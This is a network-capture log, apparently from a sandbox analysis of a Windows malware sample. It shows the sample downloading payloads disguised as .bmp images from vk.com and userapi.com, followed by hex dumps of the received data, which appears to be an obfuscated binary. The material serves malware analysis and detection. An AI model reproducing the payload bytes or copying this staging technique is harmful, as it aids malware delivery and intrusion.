2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 4c 90 d5 1a 91 ab 15 15 15 7f 39 4f 98 19 53 1a a2 0c 9c 58 ed 9e 58 e9 90 dc 60 3e 96 ed ff 1a 96 b7 15 15 15 45 43 7f ff 42 de 5e 6d 15 15 96 d1 01 90 d5 1a 90 00 15 15 15 7f 3b 4d 73 2e cd 60 5e 26 d5 ff fe 5c 96 ec 14 60 03 96 ed ff 66 63 96 ee 4a 61 64 45 43 7f ff 98 92 95 15 15 15 fe 0b 96 ec 17 60 75 96 ed 01 66 4e 73 90 ce 61 10 73 2e cf 60 44 45 43 7f 01 98 92 15 14 15 15 45 de e1 62 15 15 96 d1 01 90 d5 60 57 9e 50 e9 7f 39 4c 73 2e cc 1a 91 0c ea ea ea 73 90 ce 1a 91 01 ea ea ea 9e 60 ed 96 d3 17 ff 7d 65 ed 54 15 43 9c 50 e9 de 88 8f 15 15 4c 4c 7f 39 4f 90 d5 1a 90 50 ea ea ea 96 dd ea 4a 4b 4e dc d6 26 ce 46 46 46 46 46 de b4 d3 ea ea d9 9e ea 40 9e f9 43 de e3 34 15 15 9e 40 1d 9e e5 7f 15 4d 9e 9b 45 16 15 15 e3 d4 17 1a 81 d5 ff 96 ef ea Data Ascii: L9OSXX`>ECB^m;Ms.`^&\`fcJadEC`ufNsas.`DECEb`WP9Ls.s`}eTCPLL9OPJKN&FFFFF@C4@ME
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 94 6d 0d 15 17 15 15 60 33 9e ff 19 85 d4 de 13 91 d6 61 0d 9e 50 1d 9e ff 19 85 d4 de 1d 91 d6 60 1f 9e 50 1d d2 ff 0d 15 01 15 15 9e 50 1d 9e 1d ea 5d 1d 9f 04 54 9c 1d 1a a3 d7 fe 0b 26 dc 90 c7 1a 00 d4 96 d5 19 98 19 d8 1d 15 15 15 e5 1c 1d 9e 58 1d 96 74 1d 15 96 dd ea 4e 4b 48 d6 9e ea 40 9e f9 48 fc 73 eb ea ea 7f 01 7d ff 4d 57 15 de b3 52 ea ea 26 e3 2c 60 1d 60 36 9e 50 19 d3 ff 09 14 d2 ff 0d 03 15 15 15 45 43 43 43 43 43 de 2e 93 ea ea 96 d1 0d 96 df ea 9e d7 fe 2c 9c 60 f5 9c 60 f1 ea 60 1d de 16 9c ea ea 4c 9c 60 e9 ea 60 19 ea 60 1d de 29 15 15 15 4c 4c 9e e5 9c 60 f5 9e ef 9c 68 f1 d2 50 e9 eb ea ea ea de 0f 15 15 15 9e d3 9e c2 9e 58 e5 71 9c 18 15 15 15 15 4c 4a 4b 4e dc d6 9e 68 f1 9e 60 f5 ea 60 1d de db 9d ea ea 4c d6 9e ea 40 9e f9 Data Ascii: m`3aP`PP]T&XtNKH@Hs}MWR&,``6PECCCCC.,```L```)LL`hPXqLJKNh``L@
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: ac 14 14 15 15 44 9e 13 9e 15 9e ff 5d 96 d5 0d 45 44 ea 20 d9 44 52 15 de 59 41 ea ea 9e 13 ac 15 14 15 15 44 9e 15 9e ff 5d 10 0c 14 15 15 45 44 ea 20 c5 44 52 15 de 38 41 ea ea 9e 53 11 96 d1 35 96 dc ea 9e 15 9e 15 e5 1a d4 1d 60 55 9e 53 11 9e 15 94 2d 45 2f 52 15 61 1d ea 25 de d7 b0 ea ea 4c 9e 13 9e 01 9e 53 11 9e 1d 9e 57 5d 9c 14 9e 13 9e 15 9e ff 5d e5 ea 15 4b d6 9e ea 40 9e f9 9e 50 1d 38 b1 16 15 15 61 3d 96 de 11 61 09 96 de 18 61 01 96 de 14 61 11 26 d5 48 d6 b4 c1 10 57 15 48 d6 b4 c5 10 57 15 48 d6 b4 d9 10 57 15 48 d6 b4 dd 10 57 15 48 d6 9e ea 40 9e f9 96 f9 01 98 58 e5 7f 15 de bf 7d ea ea 96 30 cd 44 52 15 15 9e 50 1d 96 ed eb 60 07 d2 10 cd 44 52 15 14 15 15 15 ea 55 09 c4 54 15 fe 39 96 ed e8 60 07 d2 10 cd 44 52 15 14 15 15 15 ea Data Ascii: D]ED DRYAD]ED DR8AS5`US-E/Ra%LSW]]K@P8a=aaa&HWHWHWHWH@X}0DRP`DRUT9`DR
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 50 e9 9e 58 19 46 9e 48 0a 43 9e 60 1d 9c a0 e9 eb ea ea 9c 88 ed eb ea ea 42 9e 68 01 9c a8 15 ea ea ea 90 e3 60 30 90 dc 61 34 de 20 3c ea ea d2 15 03 15 15 15 de 0a 12 ea ea 9e 58 e9 4a 4b 26 d8 4e de 4e aa eb ea 9e f0 48 d6 90 ea 61 ce 90 ce 61 c2 d2 90 de eb ea ea 15 15 15 15 96 ec 17 67 cd 5c 1a ba da 16 db 9c 98 1d ea ea ea 9e d4 26 c7 3e d3 e2 e2 ff 96 ed 1d 1a 92 a3 15 15 15 2e db 1a 93 32 11 15 15 98 0a 22 9c 00 e5 eb ea ea 9e d3 9e e7 9c 90 11 ea ea ea 2e e4 62 3a 45 43 9e 05 ea 55 ff c4 54 15 ea c6 96 d1 1d 90 d5 6b 1f 9e d3 9c 90 11 ea ea ea fe 13 9e 90 11 ea ea ea 9e 98 1d ea ea ea 16 e2 2e e4 63 c4 9c a8 e1 eb ea ea 9e c4 2e d4 61 2e 3e d4 9e ca 9c 90 11 ea ea ea fe 13 98 8e 15 15 15 15 9f 19 01 98 47 14 9e a0 11 ea ea ea 9f 57 ea 9d 51 03 Data Ascii: PXFHC`Bh`0a4 <XJK&NNHaag\&>.2".b:ECUTk.c.a.>GWQ
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 15 9c 22 ff 15 dd 20 ff 15 39 2d ff 15 16 2f ff 15 b7 26 ff 15 97 21 ff 15 24 20 ff 15 9c 20 ff 15 74 24 ff 15 7d 52 57 15 fa 3c ff 15 70 38 ff 15 54 3e ff 15 54 25 ff 15 51 25 ff 15 51 25 ff 15 5d 25 ff 15 5d 25 ff 15 33 24 ff 15 77 25 ff 15 15 15 15 15 14 15 15 15 15 15 15 15 15 14 14 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 14 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 Data Ascii: " 9-/&!$ t$}RW<p8T>T%Q%Q%]%]%3$w%
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 15 65 15 74 15 38 15 5c 15 5b 15 15 15 72 15 60 15 38 15 5c 15 5b 15 15 15 61 15 74 15 38 15 5c 15 5b 15 15 15 61 15 70 15 38 15 5c 15 5b 15 15 15 7e 15 7b 15 38 15 5c 15 5b 15 15 15 78 15 79 15 38 15 5c 15 5b 15 15 15 78 15 67 15 38 15 5c 15 5b 15 15 15 66 15 74 15 38 15 5c 15 5b 15 15 15 78 15 7b 15 38 15 58 15 5b 15 15 15 76 15 6c 15 38 15 52 15 57 15 15 15 72 15 79 15 38 15 50 15 46 15 15 15 7e 15 7a 15 7e 15 38 15 5c 15 5b 15 15 15 15 15 66 15 6c 15 67 15 38 15 46 15 4c 15 15 15 15 15 71 15 7c 15 63 15 38 15 58 15 43 15 15 15 15 15 64 15 60 15 6f 15 38 15 57 15 5a 15 15 15 15 15 7b 15 66 15 38 15 4f 15 54 15 15 15 78 15 7c 15 38 15 5b 15 4f 15 15 15 74 15 67 15 38 15 5c 15 44 15 15 15 71 15 70 15 38 15 56 15 5d 15 15 15 70 15 7b 15 38 15 52 15 57 15 Data Ascii: et8\[r`8\[at8\[ap8\[~{8\[xy8\[xg8\[ft8\[x{8X[vl8RWry8PF~z~8\[flg8FLq\|c8XCd`o8WZ{f8OTx\|8[Otg8\Dqp8V]p{8RW
2024-05-24 11:42:12 UTC	16384	IN	Data Raw: 79 70 45 7a 7c 7b 61 70 67 50 6d 15 15 90 11 47 70 74 71 56 7a 7b 66 7a 79 70 42 15 15 74 16 5d 70 74 65 47 70 54 79 79 7a 76 15 94 14 53 7c 7b 71 56 79 7a 66 70 15 92 14 53 7c 7b 71 53 7c 67 66 61 53 7c 79 70 50 6d 42 15 15 8d 14 53 7c 7b 71 5b 70 6d 61 53 7c 79 70 42 15 b4 16 5c 66 43 74 79 7c 71 56 7a 71 70 45 74 72 70 15 ab 14 52 70 61 54 56 45 15 15 b3 17 52 70 61 5a 50 58 56 45 15 15 51 17 52 70 61 50 7b 63 7c 67 7a 7b 78 70 7b 61 46 61 67 7c 7b 72 66 42 15 15 a3 14 53 67 70 70 50 7b 63 7c 67 7a 7b 78 70 7b 61 46 61 67 7c 7b 72 66 42 15 3f 10 46 70 61 50 7b 63 7c 67 7a 7b 78 70 7b 61 43 74 67 7c 74 77 79 70 42 15 76 10 46 70 61 46 61 71 5d 74 7b 71 79 70 15 15 d1 17 52 70 61 45 67 7a 76 70 66 66 5d 70 74 65 15 15 76 16 5d 70 74 65 46 7c 6f 70 15 15 Data Ascii: ypEz\|{apgPmGptqVz{fzypBt]pteGpTyyzvS\|{qVyzfpS\|{qS\|gfaS\|ypPmBS\|{q[pmaS\|ypB\fCty\|qVzqpEtrpRpaTVERpaZPXVEQRpaP{c\|gz{xp{aFag\|{rfBSgppP{c\|gz{xp{aFag\|{rfB?FpaP{c\|gz{xp{aCtg\|twypBvFpaFaq]t{qypRpaEgzvpff]ptev]pteF\|op

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49792	95.142.206.1	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:13 UTC	415	OUT	GET /c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_qh_j-eyneT5bGzHFGQMGblKM3jXRqtJHrOY3IDdcjoF5zP25fxziAva3znutva08nNZJqaW4Uz1Iik83EUDVvJ0j2-8jRz3VHyIyqSgoQJ0PIBZD5yYwFOMWsgUwY HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-21.userapi.com Connection: Keep-Alive
2024-05-24 11:42:13 UTC	587	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:13 GMT Content-Type: image/x-ms-bmp Content-Length: 5382676 Connection: close Last-Modified: Wed, 22 May 2024 14:15:06 GMT ETag: "664dfdea-522214" Expires: Sun, 23 Jun 2024 11:42:13 GMT Cache-Control: max-age=2592000 X-Frontend: front6-21 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: 6VTW9ignFVuiTAjr3zsa57Gnc3jVjQ Accept-Ranges: bytes
2024-05-24 11:42:13 UTC	15797	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 01 14 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 ed 05 65 e2 a9 bf 0b b1 a9 bf 0b b1 a9 bf 0b b1 e2 c7 08 b0 b8 bf 0b b1 e2 c7 0e b0 65 bf 0b b1 e2 c7 0f b0 b1 bf 0b b1 6b 3e f6 b1 ad bf 0b b1 6b 3e 0e b0 c8 bf 0b b1 6b 3e 0f b0 bc bf 0b b1 6b 3e 08 b0 b3 bf 0b b1 e2 c7 80 b0 a4 bf 0b b1 a9 bf 80 b1 4f bf 0b b1 5a 3d 03 b0 e8 bf 0b b1 5a 3d f4 b1 a8 bf 0b b1 a9 bf 9c b1 a8 bf 0b b1 5a 3d 09 b0 a8 bf 0b b1 47 7c 76 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1eek>k>k>k>OZ=Z=Z=G\|v
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 00 e0 fa 37 6f a7 ee 64 0a 2e b4 84 1a 63 3a 1a 3a 29 f8 dc 88 91 b4 e2 a6 9a c0 76 51 91 f1 93 61 fb 70 d1 45 92 57 4c 90 c8 15 4a 99 13 af e0 8c 4c 27 83 25 a8 15 db be 55 ec 50 52 1d 60 8a 14 71 05 de c8 4d 10 8e fe 8a 37 15 3e db e8 05 09 56 29 46 9c a4 bd 9e d4 8f 33 64 cd 96 9e cf 12 3a 14 ef e4 d5 b0 3b f1 a3 5c 02 c7 9c da 66 93 1c 75 26 4d a8 14 a4 24 35 df f8 c0 ee 8a f5 40 5a 45 41 67 05 11 d5 64 00 7c 74 b3 cc 56 c2 29 e4 2f 6d 50 60 4f 1b 10 1b b0 62 13 ff f6 8f e6 9b 90 1f f2 6a 2a af 96 14 d8 67 34 df 67 6f 48 8f 3e 18 8a 21 86 88 d6 2c 69 ed a6 2e 90 e1 61 c2 77 e3 10 a6 79 fc 45 3b 04 18 22 95 2d d0 4b cd de db 36 9f 22 17 f5 06 50 ef c7 fb d5 b1 42 1b 59 00 f7 4c 02 ed bd ff a6 f5 91 e9 b1 02 60 2a dd 39 65 1d c3 db 9b 3f dd ea 88 89 39 Data Ascii: 7od.c::)vQapEWLJL'%UPR`qM7>V)F3d:;\fu&M$5@ZEAgd\|tV)/mP`Objg4goH>!,i.awyE;"-K6"PBYL`9e?9
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: cc 8a 5d 2d 77 3e 87 fe 5b 7a d3 5d c6 ac ed a5 9f a1 02 16 c1 84 e4 74 54 57 c5 1e 87 95 8f 54 3f 15 bb 84 0c a4 24 5c 3a 57 6c 7b 5a 8d bb 81 ad ef b7 83 cb 02 c2 17 e6 a5 b2 01 42 50 99 13 ec 88 30 e9 e9 bd ac b7 51 e9 f0 3a 3e 0a 6d 4a ee fc c6 d7 00 ec f2 c0 47 12 b7 43 57 22 da 29 7d b3 79 10 86 3e 06 8a b0 8f 52 29 11 6f f9 ed a1 76 44 d1 c0 6f 4f 79 71 b9 ca 97 b4 f2 88 5d 58 4d 7d f5 90 bc 9d 86 5b bd f2 3f 4c 0f 0b 63 de 62 04 2c 94 06 40 d4 bb 9c bd cc 8c cb 06 e4 9c a5 d3 ec 7a e3 d6 f9 3d a7 d5 d6 3d e5 2a 6b 05 0a 8f 08 20 c9 a6 05 f6 bb 2a 9c 58 6e 20 f6 eb 6f c8 d0 80 6e 4f 94 d2 d0 56 17 b0 c3 c2 7f de 7c fd 93 0d 0a 8a 40 66 2b 59 78 d0 6c e7 d1 e7 34 3c 41 b6 2f 0d 9e 7b e9 a2 68 8b 25 1e 4e a1 97 43 7d 5b 54 6b d9 5d a4 80 e6 f0 8f b0 Data Ascii: ]-w>[z]tTWT?$\:Wl{ZBP0Q:>mJGCW")}y>R)ovDoOyq]XM}[?Lcb,@z==k Xn onOV\|@f+Yxl4<A/{h%NC}[Tk]
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 83 16 06 54 9f 12 bc fa 2b 44 3d 3d b7 09 e0 de b0 40 ef 9a d6 60 78 cf 7f 4c 42 a9 09 2a 1d f9 e2 ec 7a a6 20 19 1b 97 fe 00 a0 bc b2 1e a0 5f e0 6e 96 f1 f6 e2 9b 5c bb a8 cb 4e 97 87 b2 97 cc d0 15 88 81 62 47 72 97 f2 3d da ed 4e 67 b0 ae a8 b8 cd ba 18 43 c8 6f 88 06 24 35 d5 b8 95 0c f9 56 54 37 f7 ac ca 65 4e b2 52 9b 20 94 a0 76 e8 13 bb d1 61 01 19 8c 17 9b 86 b9 ef 59 0c 5a 18 c5 77 37 32 25 1e 1f c7 46 ed 0e b1 7a 9a 6b 80 49 dd 90 f0 77 85 07 17 d9 01 b3 c1 06 97 2a d7 95 d1 ec cd 65 ae f9 24 bf 64 52 42 cf 09 cc 98 c6 e5 0d 54 0a ad 06 9a 6d 05 d9 f5 a4 82 2a 0a 3e b0 c4 66 f6 f5 19 e0 94 12 63 53 35 0e 3e 76 e2 c5 70 97 a8 9f 77 11 a3 7d 3e 64 6d f3 7e f7 12 87 56 65 f1 b8 42 a7 31 dc 4d 17 83 43 53 d7 02 7d 25 bb b3 e4 b0 4e e0 b1 f4 e4 e5 Data Ascii: T+D==@`xLBz _n\NbGr=NgCo$5VT7eNR vaYZw72%FzkIwe$dRBTm*>fcS5>vpw}>dm~VeB1MCS}%N
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 7a ae 8b b0 66 36 82 bb 45 f5 2b c2 0c 14 49 4d 92 80 14 76 e5 ba b7 7c 7e 8f ee 77 ad bd 10 a2 01 72 9f 64 11 93 54 91 16 7d 33 84 a0 0b a9 b5 79 64 20 8e ed 90 af ad 12 a6 85 af 96 7c ce 02 0f 73 18 49 b1 04 50 68 3b ca 5b 85 a2 6c 14 84 50 62 99 2c 0a df 97 96 71 6e e1 81 76 64 a4 6a 2a b9 dd bd 69 f1 e1 44 d7 9a 4e 00 84 a3 06 7b c8 2a bb 9d 7f 78 16 e6 7e 12 7b 77 ef 70 87 04 1d f4 c8 82 af d2 8d ec 1a 85 39 ff e6 fb 18 96 4d 7f 54 c1 3d 58 8a fa c0 f0 56 fd 32 33 2a ca 9c 2f 38 b3 d5 b4 30 0c 7b b1 06 6f 1f e9 b0 a3 4f 3e 92 a2 5e 4c d1 88 0b 4d 78 8c 6a bc 6b a1 9b 22 b0 e0 e7 82 cd b7 30 fd 86 3e c7 2a 9a 2d 51 e5 38 63 64 0b b5 9c 80 80 82 f1 6b a4 1c 0e 07 c2 21 2e 7f 9b 8d 84 6a 0d d0 d7 50 2c dd f9 eb fa 14 5b f1 40 44 f4 36 52 86 47 3f 8f d3 Data Ascii: zf6E+IMv\|~wrdT}3yd \|sIPh;[lPb,qnvdjiDN{x~{wp9MT=XV23/80{oO>^LMxjk"0>-Q8cdk!.jP,[@D6RG?
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 05 b7 2c a1 46 0b 19 35 15 35 bb 0d 4a 57 f3 e1 ef e1 93 56 26 00 db 65 eb 11 09 1b e7 02 19 72 21 25 43 11 79 75 aa 5c da 54 0c 1e f8 17 64 18 d5 9f 23 bc a6 93 24 cc 65 15 3d f5 9c bf 1f f6 fc a5 fe 0b f0 c8 d9 6b 74 a3 4b eb 81 d7 ec 3b a3 a8 c4 9e ac aa 36 ea f1 43 f6 7c f3 f2 a8 43 f7 bd 88 e3 65 79 9b ae 4a eb d4 24 7c 8b 3a 04 81 e1 05 e4 a6 07 bb 37 05 d2 0b 43 86 53 60 44 69 05 73 12 97 a5 6f f7 cb 95 db 80 8f ed e4 cf fe 64 f6 6d 63 54 61 90 ba a5 68 42 a9 4d 51 ec d8 cc d7 7c 28 2f 1f 55 dd 96 25 40 ed 90 aa 33 e7 bc e0 82 e1 f2 b1 b6 a4 0d e3 e6 c4 d9 66 0b 28 31 52 07 50 92 04 f0 8f 43 d6 5c 9c c5 b5 bd 64 1e e1 e9 56 6f 4c 6b 64 01 e4 8a f1 a3 97 73 49 fb 9b fb d2 d2 e9 c1 71 86 3e 07 10 db 88 14 ad 70 11 4e e3 63 ec 1e 8a 37 c5 67 38 2f 9e Data Ascii: ,F55JWV&er!%Cyu\Td#$e=ktK;6C\|CeyJ$\|:7CS`DisodmcTahBMQ\|(/U%@3f(1RPC\dVoLkdsIq>pNc7g8/
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 12 e5 c8 61 e2 b3 3c 11 3e a8 f6 c6 be 0e 4f 54 2a b3 4f 40 f4 f7 e7 e1 3b 9c ec 61 be 60 ba 6b 15 93 91 7f cf 09 b1 e8 44 36 dd f6 4e 67 ea c2 b2 71 42 13 86 86 b3 39 3b 3a 83 20 00 e5 b6 03 2c c4 74 0a 18 eb 4c 15 9b 3d a2 2e 46 27 09 d5 3e 4f 79 97 54 f7 be f3 d6 1f 65 90 07 91 98 e9 4c e1 05 e3 8d f0 61 ec d3 29 b8 a6 3c 6d 7b 77 b1 a6 32 bb f2 d5 f2 ce 88 ac 84 7e 02 2f 32 19 64 c1 0c 23 4d 4f 17 cf 81 f4 df a2 8c c0 9d f7 e2 20 71 65 37 b8 f6 0e 62 5c 69 66 d0 fc a0 73 20 e7 c5 50 d9 cb f1 1e 98 81 db 02 69 5c 01 2a 6e 32 79 dd b3 cd e7 14 f6 39 c2 9e 58 e8 da 72 b5 17 a5 44 e7 94 a0 45 04 17 3f a7 9c f2 cb 5b ab 96 ee 9d 58 d3 9c d8 ef 25 77 09 f1 ed 1d 23 5c c6 bd 67 42 b8 f9 b0 9e 94 b0 68 81 6f 4b b8 69 0f 3e 51 bc dd 8a d5 30 b5 91 95 d2 65 46 Data Ascii: a<>OTO@;a`kD6NgqB9;: ,tL=.F'>OyTeLa)<m{w2~/2d#MO qe7b\ifs Pi\n2y9XrDE?[X%w#\gBhoKi>Q0eF
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: e6 32 13 de 62 c2 2e 49 01 86 da 3e cc a6 51 e8 1a a6 fc fb 54 49 81 61 32 26 cd 85 c5 07 c5 0b 37 87 55 02 8c dd d8 e4 f4 61 45 22 55 54 c8 29 3d 63 aa 08 12 3d 0d 15 b9 98 a0 6c a3 df ae 23 12 6d 19 30 c1 ea f0 2c 56 65 ef 48 07 68 ee 30 e8 07 74 67 96 2c 6f 9b e6 1b e8 1f 7a 9e 4f 2a b8 9b b5 f9 1a a9 2a 1e 10 e5 d4 db e7 57 72 6f d8 47 26 c3 ae 0d c5 79 c0 c3 1d 50 c8 ed 5c 32 ed 08 cf fb a5 62 a4 fa 7e 40 76 bb 26 bc 4b 19 a1 75 a1 de 72 1a f7 6d fd de 2a 34 b4 c4 6b 11 eb d8 eb b8 5d 44 26 61 9f 97 df 93 03 94 77 75 df b7 e6 b1 25 88 b8 5e 14 11 0a 1f b5 85 e3 6d 67 05 b3 b3 4a 55 61 3a 00 28 6a 43 f8 3e 7c f4 c5 ca 52 33 48 b9 27 b2 0a 27 e8 1a 4a ec f9 07 c2 a4 5c 82 79 91 75 56 f9 4d fd 2a cb 5d 06 d4 7e 69 11 35 2e 44 9b f6 05 9e f6 e7 05 cd 25 Data Ascii: 2b.I>QTIa2&7UaE"UT)=c=l#m0,VeHh0tg,ozO*WroG&yP\2b~@v&Kurm4k]D&awu%^mgJUa:(jC>\|R3H''J\yuVM*]~i5.D%
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: 93 f1 63 5a fb ac 29 c9 3b 1c 55 22 14 0a 4b ca aa f4 08 04 f5 3c b3 c6 08 94 9e cc 56 0a 8e fb 24 11 c3 72 7a 34 aa 37 48 bb 11 59 dc 6e cc 98 8c ae 54 6f 96 16 5d e5 46 d5 49 4b 85 41 75 95 4d 27 85 f7 df 2d b1 0f 07 6a c3 3d cf 05 07 e2 2b 9f 24 89 06 cd 8e 90 2d 5c ae 12 d7 42 6b 0c 3e 85 2e 22 e6 d3 87 b3 5a fd f4 3c c7 2b f2 26 e5 4e 20 22 8d d5 9f e4 a0 a3 87 fa 61 3b a0 60 b9 77 cb 8d 97 3e 08 8b 5d c1 05 23 92 79 f7 8c b8 94 92 2c 0f 46 22 1e bb ff 99 62 32 0d a3 29 fa c5 fa 45 20 c0 51 5e 6e 1f c4 ee 38 3f 04 5d b3 db d1 55 cd 2f 8f 04 04 49 68 14 9d 9a f4 e6 06 8b d2 22 e8 e8 c2 c9 56 af bf ce cf 1c 2b 0b 15 6a 3e 4d 58 a7 36 fd 3b 48 48 4b 12 ab 72 4b 6a d1 3b fe 54 06 a0 17 87 95 8c 84 36 d7 0e 8d 36 53 a3 90 44 92 98 2e 98 e1 da 91 9b 2b 88 Data Ascii: cZ);U"K<V$rz47HYnTo]FIKAuM'-j=+$-\Bk>."Z<+&N "a;`w>]#y,F"b2)E Q^n8?]U/Ih"V+j>MX6;HHKrKj;T66SD.+
2024-05-24 11:42:14 UTC	16384	IN	Data Raw: f0 eb 8f 3e dd c2 35 94 46 89 b8 56 c5 4d 37 b0 24 25 8f 19 91 f5 67 ff 35 45 ce f2 e7 92 53 7a 85 64 53 b4 ce 57 f5 a2 cb c1 66 a6 7d b6 77 9d d6 a2 8b 3e f1 8e 21 f8 46 78 3d d5 69 8c bd 68 81 cc c4 e8 1d 22 d3 bf 87 45 22 2c b5 e3 49 10 57 ff 4a ce af 50 96 ac 6e 2d 3c 82 c8 e7 2b 5e 42 ee c1 c8 d8 ce 9f 37 9a fd 7b 7c b0 8e 99 27 4f 19 46 ec f0 9e ed d9 f6 4f 0f 1e de 44 bd c0 54 e0 37 aa 08 68 9f 17 82 8e 96 23 4c b3 f0 32 d9 cd 52 96 8d 2d 53 d0 a4 7e 98 01 8b b4 e8 c5 d9 bc 7a c2 9a dd b3 d0 ad ab 23 6c 8d 3b a0 17 a6 83 70 89 cc f5 57 47 18 45 1d f5 04 7e b0 32 6a 0b 1a d6 32 f3 e6 09 86 4d 54 e6 6f 8f 8f fd 38 fc 03 06 51 71 3d eb ee e8 7b 92 58 16 89 f3 d7 cd 89 06 c4 6c 1b 01 dc f5 21 65 17 56 6c cd 72 92 68 cf 35 51 d3 1e 83 e6 a3 df 8d 6a 28 Data Ascii: >5FVM7$%g5ESzdSWf}w>!Fx=ih"E",IWJPn-<+^B7{\|'OFODT7h#L2R-S~z#l;pWGE~2j2MTo8Qq={Xl!eVlrh5Qj(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49791	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:13 UTC	321	OUT	GET /doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXnvMo2rYan1ud8tt9Muz7f4srpOpg5pk8&api=1&no_preview=1#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 11:42:14 UTC	1214	IN	HTTP/1.1 302 Found Server: kittenx Date: Fri, 24 May 2024 11:42:13 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 0 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Wed, 28 May 2025 12:50:20 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9068030949443387325_NGR4K8R73ya6BWvG15JUMzvA1VoJM3xkbdPjML8QTjw; expires=Sat, 24 May 2025 11:42:13 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixir=1; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Location: https://sun6-22.userapi.com/c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDcXyJUZNyRnnX0rJt7A1_VB7rEMDNUg9EA X-Frontend: front925200 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: hA8fySJTMy4zBd6DBY451YU0XXFssw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49796	95.142.206.0	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:14 UTC	433	OUT	GET /c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?extra=SFJQpepKYVBEpZ9-a9sx0fEFfCvtpM1ZI1QeNmMqjWC-GwKgYChdG8ruOMIBbckkR_3ALqVMa2SKrfLtlfcGDlIfuI8GTvUeIity5hjubw0rRzXVmp4JW2WtG0VPysJ8Ykqmv1BvGsI HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-20.userapi.com Connection: Keep-Alive
